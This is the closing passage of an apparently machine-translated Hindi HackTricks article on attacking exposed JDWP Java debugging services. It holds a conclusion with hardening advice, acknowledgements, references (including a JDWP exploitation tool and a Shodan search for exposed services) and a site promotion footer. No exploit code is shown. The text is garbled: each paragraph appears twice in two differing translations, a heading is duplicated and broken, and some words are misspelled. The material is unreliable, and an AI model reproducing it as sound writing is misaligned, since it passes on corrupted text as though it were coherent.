इंटरनेट पर खुली JDWP सेवाओं की खोज करने के कुछ तरीके हैं। यह एक अच्छा याददाश्त है कि एप्लिकेशनों को नियमित रूप से सुरक्षा समीक्षा से गुजरना चाहिए, उत्पादन पर्यावरणों में किसी भी डिबगिंग कार्यक्षमता को बंद कर दिया जाना चाहिए, और फ़ायरवॉल को सामान्य चलन के लिए आवश्यक सेवाओं तक पहुंच को प्रतिबंधित करना चाहिए। किसी को एक JDWP सेवा से कनेक्ट करने की अनुमति देना एक gdbserver सेवा के साथ कनेक्शन की अनुमति देने के बरबर है (जो एक अधिक स्थिर तरीके में हो सकता है)। मुझे आशा है कि आपने JDWP के साथ खेलने के तरीके के साथ इस लेख का आनंद लिया होगा। सभी महान समुद्री डाकूओं को, खुश JDWP pwning !! ये इंटरनेट पर खुले JDWP सेवाओं की खोज करने के कुछ तरीके हैं। यह एक महान अनुस्मारक है कि एप्लिकेशनों को नियमित रूप से गहन सुरक्षा समीक्षाओं से गुजरना चाहिए, उत्पादन वातावरणों में किसी भी डिबगिंग कार्यक्षमता को बंद कर दना चाहिए, और फ़ायरवॉल को सामान्य संलन के लिए आवश्यक सेवाओं तक पहुंच को प्रतिबंधित करने के लिए कॉन्फ़िगर किया जाना चाहिए। किसी को भी JDWP सेवा से जुड़ने की अनुमति देना ठीक उसी तरह है जैसे gdbserver सेवा से कनेक्शन की अनुमति देना (जो एक अधिक स्थिर तरीके से हो सकता है)। मुझे आशा है कि आपको यह लेख पढ़ने में उतना ही आनंद आया जितना मुझे JDWP के साथ खेलने में आया। आप सभी शक्तिशाली समुद्री डाकुओं को, हैप्पी JDWP pwning !!
**धन्यवाद**\ **धन्यवाद**\
\ \
मैं इल्जा वैन स्प्रुंदेल और सेबस्टियन मैके को उनके विचारों और परीक्षणों के लिए धन्यवाद देना चाहूंगा। मैं Ilja Van Sprundel और Sebastien Macke को उनके विचारों और परीक्षणों के लिए धन्यवाद देना चाहूंगा।
### **संदर्भ ### **संदर्भ:**
1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
3. http://www.secdev.org/projects/scapy(no longer active)
4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
5. http://www.hsc-news.com/archives/2013/000109.html (no longer active)
6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुंच प्राप्त करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का।
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PRs सबमिट करके।**
</details>